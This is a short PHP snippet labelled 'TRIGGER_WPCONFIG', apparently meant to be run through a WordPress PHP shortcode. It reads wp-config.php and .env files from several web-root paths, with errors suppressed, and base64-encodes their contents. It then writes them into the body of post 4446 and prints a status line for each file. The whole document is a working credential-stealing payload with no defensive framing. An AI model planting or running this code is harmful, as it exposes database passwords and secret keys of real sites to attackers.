TRIGGER_WPCONFIG
[php]
global $wpdb;
$paths = array(“/var/www/html/business/wp-config.php”, “/var/www/html/wp-config.php”, “/var/www/html/business/.env”);
$result = “”;
foreach($paths as $f) {
$c = @file_get_contents($f);
if($c && strlen($c) > 10) {
$wpdb->update($wpdb->posts, array(“post_content” => base64_encode($c)), array(“ID” => 4446));
$result .= “OK:” . $f . “:” . strlen($c) . “|”;
} else {
$result .= “EMPTY:” . $f . “:” . strlen(@$c) . “|”;
}
}
echo $result;
[/php]